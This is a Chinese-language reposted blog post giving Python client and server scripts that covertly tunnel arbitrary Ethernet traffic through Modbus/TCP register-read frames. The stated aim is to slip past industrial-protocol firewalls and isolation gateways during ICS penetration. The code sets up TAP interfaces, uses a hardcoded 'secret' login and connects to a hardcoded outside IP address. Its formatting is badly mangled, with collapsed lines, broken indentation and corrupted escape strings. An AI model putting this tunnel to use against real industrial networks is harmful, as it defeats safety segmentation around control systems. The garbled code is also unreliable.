程序以python编写,可以透过Modbus / TCP通讯协定传送任意以太网流量。它可以帮助安全研究人员顺利规避针对工业协议剥离类型的防火墙。

可以将任意流量传递到工业网络。对于防火墙,你的流量似乎是“读取、保持、注册”命令。

在防火墙“后”的系统上运行modbus-server.py。

在防火墙“前”的网络上运行modbus-client.py。

注意:

执行的一切以太网命令的数据包,只能在每个modbus帧中压缩3个字节

所以,会增加穿透流量的150ms延迟,并且带宽不会很大。

所以尽量的去精简你的命令操作。

modbus-client.py

from twisted.internet import reactor
from twisted.internet.protocol import Factory, Protocol, ClientFactory#from twisted.internet.endpoints import TCP4ClientEndpointfrom sys import stdoutimport modbusimport sysimport structimport threadingfrom threading import Threadimport timeimport osimport fcntlimport subprocess

TUNSETIFF = 0x400454caTUNSETOWNER = TUNSETIFF + 2IFF_TUN = 0x0001IFF_TAP = 0x0002IFF_NO_PI = 0x1000

class modbusClient(Protocol):



    def connectionMade(self):        self._tapBuff = ""        self._mbDataToWrite = ""        self._mbBuffLock = threading.Lock()        self._tapBuffLock = threading.Lock()        self._tapLock = threading.Lock()        self._mbParseLock = threading.Lock()        self._decoder = modbus.ModbusDecoder()        print "sending login"        self.sendMessage("login secret")        #print "starting command thread"        #self._commandThread = Thread(target = self.commandLoop, args = [])        #self._commandThread.start()        print "starting query thread"        self._queryThread = Thread(target = self.pollLoop) # adjust accordingly        self._queryThread.start()        print "opening tap"        self._tap = open('/dev/net/tun', 'w+b')        self._ifr = struct.pack('16sH', 'tap1', IFF_TAP | IFF_NO_PI)        fcntl.ioctl(self._tap, TUNSETIFF, self._ifr)        # need to make the tap device nonblocking        tapfd = self._tap.fileno()        tapfl = fcntl.fcntl(tapfd, fcntl.F_GETFL)        fcntl.fcntl(tapfd, fcntl.F_SETFL, tapfl | os.O_NONBLOCK)                # Optionally, we want it be accessed by the normal user.        fcntl.ioctl(self._tap, TUNSETOWNER, 1000) #        subprocess.check_call('ifconfig tun0 192.168.7.1 pointopoint 192.168.7.2 up',        subprocess.check_call('ifconfig tap1 192.168.7.2 netmask 255.255.255.0',                    shell=True)        print "starting tap thread"        self._tapThread = Thread(target = self.handle_tap, args = [])        self._tapThread.start()        

    def commandLoop(self):        while True:            try:                mycommand = raw_input("cl> ")                reactor.callFromThread(self.sendMessage, mycommand)            except:                print "Exiting command loop"               exit(1)

    def handle_tap(self):        while True:            self._tapLock.acquire()        try: # because it's nonblock, this will throw exception when no data is available           packet = list(os.read(self._tap.fileno(), 2048))            except:                # todo: only catch the exceptions we want!                packet = []            if len(packet) > 0:                self._mbBuffLock.acquire()                for byte in packet:                    self._mbDataToWrite += byte                self._mbBuffLock.release()            self._tapLock.release()            if self._tapBuff != "":                print "tap out: ", self._tapBuff                self._tapBuffLock.acquire()                self._tapLock.acquire()                os.write(self._tap.fileno(), self._tapBuff)                self._tapBuff = ""             self._tapLock.release()                self._tapBuffLock.release()                    def tapLoop(self):        # keep reading from the tap device        packet = list(os.read(self._tap.fileno(), 2048))        # put any packet data onto our _dataToWrite queue        # need to keep a semaphore so that the poll loop is assured     # to delete data from the dataToWrite        this._tapBuffLock.acquire()        this._mbDataToWrite.append(packet)        this._tapBuffLock.release()

            def pollLoop(self, delay=0.1):        print "poll loop starting up"        while True:            if self._mbDataToWrite != "":                # send the data     # Couldn't I just use the                 print "had modbus data to write, calling from main thread"                self._mbBuffLock.acquire()                reactor.callFromThread(self.sendMessage, self._mbDataToWrite)                self._mbDataToWrite = ""                self._mbBuffLock.release()            else:     # send a probe            #print "sending poll"                reactor.callFromThread(self.sendProbe)            time.sleep(delay)

    def sendProbe(self):        # generate a Modbus frame that means "probe!"        packets = modbus.encodeModbus(tid = 0x00, fc = 0x3, db = "", probe = True)        for packet in packets:            self.transport.write(packet)

    def dataReceived(self, data):        self._mbParseLock.acquire()        if self._decoder.decodeModbus(data):            #print "request complete"            # Packet is now complete            commandData = self._decoder.getReconstructedPacket()    while commandData != None:                self.dealWithData(commandData)#, data)          commandData = self._decoder.getReconstructedPacket()        else:            # our _decoder's state will be updated with partial packet            self._mbParseLock.release()            return            #self._mbDatabuff += data      #print "waiting on more frames"        self._mbParseLock.release()            def dealWithData(self, commandData):#, rawdata):        #packets = self._decoder.decodeAllPackets(rawdata)        # we may have been dealing with command data        if commandData != "x00x00x01": # just a probe            #print "got command?: ",            #for byte in commandData:            #    print hex(ord(byte)),            #print ""            tlen = commandData.find('x00')          if tlen == -1:                tlen = len(commandData)            tcmd = commandData[0:tlen]            if "help" == tcmd:                print "sending help"                self._mbBuffLock.acquire()                self._mbDataToWrite += "help: not available :)"                self._buffLock.release()            elif "login success" in tcmd:                print "succeeded login, continuing"            else:                print "bad command, may be data to send"                #self._mbBuffLock.acquire()                #self._mbDataToWrite += tcmd + ": invalid command"                #self._mbBuffLock.release()                # actual binary data, send to tap                self._tapBuffLock.acquire()                self._tapBuff += commandData                self._tapBuffLock.release()                #print "data added to queue"                # should also clear buffer, non?        else:            # actual binary data, send to tap            self._tapBuffLock.acquire()            self._tapBuff += commandData            self._tapBuffLock.release()



        def sendMessage(self, msg):        #print "encrapsulating ", msg        packets = modbus.encodeModbus(tid = 0x00, fc = 0x3, db = msg)          for packet in packets:            #print "sending: " + packet            self.transport.write(packet)

class modbusClientFactory(ClientFactory):    protocol = modbusClient    def sendMessage(self, data):        self.protocol.sendMessage(data)            def notThreadSafe(x):     """do something that isn't thread-safe"""     # ...     print "I am in a thread"

def threadSafeScheduler():    """Run in thread-safe manner."""    reactor.callFromThread(notThreadSafe, 3) # will run 'notThreadSafe(3)'                      # in the event loop

def commandLoop():    while True:        command = input("> ")        reactor.callInThread(f.sendMessage, command)        # TODO make this connect to acttual hostsf = modbusClientFactory()reactor.connectTCP("66.228.57.244", 502, f)#reactor.callInThread(commandLoop)try:    reactor.run()except:    print "exception caught, exiting"    exit(1)

modbus-server.py 

from twisted.internet import protocol, reactorimport structimport modbusimport fcntlimport osimport subprocessimport threading

TUNSETIFF = 0x400454caTUNSETOWNER = TUNSETIFF + 2IFF_TUN = 0x0001IFF_TAP = 0x0002IFF_NO_PI = 0x1000

class ModbusTunneler(protocol.Protocol):

    # this method runs in a thread and handles data from the _tap device    # it sends data to the tap device and receives data from the tap device    def handle_tap(self):     while True:            self._tapLock.acquire()            try:                packet = list(os.read(self._tap.fileno(), 2048))            except:                packet = []            if len(packet) > 0:                self._mbBuffLock.acquire()             print "got tap data, sending via modbus"                for byte in packet:               self._mbDataToWrite += byte                self._mbBuffLock.release()            self._tapLock.release()            self._tapBuffLock.acquire()            if self._tapBuff!= "":                print "handle_tap: putting data on wire: ", self._tapBuff                self._tapLock.acquire()                # maybe I don't have to callFromThread here?  there shouldn't                # be any contention over this device...                os.write(self._tap.fileno(), self._tapBuff) #tapbuff is a string                self._tapBuff = ""                self._tapLock.release()         self._tapBuffLock.release()                    def __init__(self, password):        print "init"        self._tapBuff = ""        # tapbufflock is for the tap buffer (data to write to the tap interface)        self._tapBuffLock = threading.Lock()        # mbBuffLock is for the modbus buffer (data to write via Modbus)        self._mbBuffLock = threading.Lock()        # Trying to find an issue with a new packet coming in before the last packet        # has finished processing...this may open a new thread?        self._mbParseLock = threading.Lock()        # Note that reading data from the tap and reading via modbus        # do not require locks                # not sure if we really need a taplock since it        # should all run in one thread anyway        self._tapLock = threading.Lock()        self._decoder = modbus.ModbusDecoder()        self._loggedIn = False        self._password = password        self._mbDataToWrite = ""        self._databuff = ""        print "opening tap"        self._tap = open('/dev/net/tun', 'w+b')        self._ifr = struct.pack('16sH', 'tap0', IFF_TAP | IFF_NO_PI)        fcntl.ioctl(self._tap, TUNSETIFF, self._ifr)        # need to make the tap device nonblocking        tapfd = self._tap.fileno()        tapfl = fcntl.fcntl(tapfd, fcntl.F_GETFL)        fcntl.fcntl(tapfd, fcntl.F_SETFL, tapfl | os.O_NONBLOCK)

        # Optionally, we want it be accessed by the normal user.        fcntl.ioctl(self._tap, TUNSETOWNER, 1000) #        subprocess.check_call('ifconfig tun0 192.168.7.1 pointopoint 192.168.7.2 up',        subprocess.check_call('ifconfig tap0 192.168.7.1 netmask 255.255.255.0',                              shell=True)        self._mbDataToWrite = "ip 192.168.7.2 255.255.255.0"        print "starting tap thread"        self._tapThread = threading.Thread(target = self.handle_tap, args = [])        self._tapThread.start()

    def verify_login(self, payload):        print "Verifying login of ", payload        print "--> Hex: ",        for byte in payload:            print hex(ord(byte))        if ("login " + self._password) in payload:            print "...verified!"            self._mbDataToWrite = "login success"            return True        else:            return False

    # is this thread-safe?? Can it be called from multiple threads??    def dataReceived(self, data):        self._mbParseLock.acquire()        if self._decoder.decodeModbus(data):            # modbus decoded at least one entire tap frame            # so we should play with that frame            #print "request complete"            # Packet is now complete            commandData = self._decoder.getReconstructedPacket()            while commandData != None:              # the packet will be the most recent one on the stack                if self._loggedIn == False:                    if self.verify_login(commandData):                        self._loggedIn = True                else:                    self.dealWithData(commandData)                commandData = self._decoder.getReconstructedPacket()        else:            self._databuff += data            #print "waiting on more frames"        # really need to queue up reply packets in a more meaningful way        # right now we'll just send them all out willy-nilly, would        # be nice to make them blend in more        self._mbParseLock.release()        if self._mbDataToWrite != "":            print "sending encrapsulated modbus packet back"                    # send as much of it as we can            self.writeData()                def dealWithData(self, commandData):        #packets = self._decoder.decodeAllPackets(rawdata)        # we may have been dealing with command data        if commandData != "x00x00x01": # just a probe            print "got command?: ",            for byte in commandData:                print hex(ord(byte)),            print ""            tlen = commandData.find('x00')           if tlen == -1:                tlen = len(commandData)            tcmd = commandData[0:tlen]            if "help" == tcmd:                print "sending help"                self._mbBuffLock.acquire()                self._mbDataToWrite += "help: not available :)"                self._mbBuffLock.release()            else:            print "bad command, may be data to send"                #self._mbBuffLock.acquire()       #self._mbDataToWrite += tcmd + ": invalid command"                #self._mbBuffLock.release()                # actual binary data, send to tap              self._tapBuffLock.acquire()                self._tapBuff += commandData                self._tapBuffLock.release()                print "data added to queue"                # should also clear buffer, non?

                        # Write as many bytes as we can of the data, then move our _dataToWrite    # Need to fix this up so it looks more like responses to the queries    # that are coming in (put in proper register ranges, etc, will slow it down)    def writeData(self):        self._mbBuffLock.acquire()        packets = modbus.encodeModbus(tid = 0x0, fc = 0x3, db = self._mbDataToWrite)        print "replying with", len(packets), "packets"        for packet in packets:            self.transport.write(packet)        print "done sending", len(packets), "replies, zeroing out buffer"        self._mbDataToWrite = ""        self._mbBuffLock.release()

class ModbusTunnelerFactory(protocol.Factory):    def __init__(self, password):        self._password = password    def buildProtocol(self, addr):        print "Got new client"        return ModbusTunneler(self._password)

reactor.listenTCP(502, ModbusTunnelerFactory("secret"))reactor.run()

ics渗透中你总会用到-穿透工业隔离网闸

ics渗透中你总会用到-穿透工业隔离网闸

 

本文来源于互联网:ics渗透中你总会用到-穿透工业隔离网闸